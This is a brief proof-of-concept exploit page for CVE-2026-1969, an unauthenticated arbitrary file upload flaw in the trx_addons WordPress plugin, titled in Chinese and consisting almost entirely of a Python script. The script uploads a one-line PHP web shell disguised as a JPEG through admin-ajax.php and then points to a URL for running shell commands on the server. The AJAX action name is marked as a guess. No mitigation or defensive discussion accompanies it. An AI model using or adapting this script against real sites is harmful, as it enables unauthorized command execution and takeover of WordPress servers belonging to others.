CVE-2026-1969: trx_addons插件任意文件上传漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-1969: Unauthenticated Arbitrary File Upload """ upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload data for the vulnerable AJAX action # Note: The specific 'action' name depends on the plugin internals, usually 'trx_addons_upload_action' or similar. data = { 'action': 'trx_addons_upload_action' # Placeholder, replace with actual action name if known } # Malicious file to upload (PHP Webshell) files = { 'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg') } try: response = requests.post(upload_url, data=data, files=files, timeout=10) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Exploit successful! File uploaded.") print(f"[+] Check uploaded file at: {target_url}/wp-content/uploads/shell.php?cmd=whoami") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" exploit(target)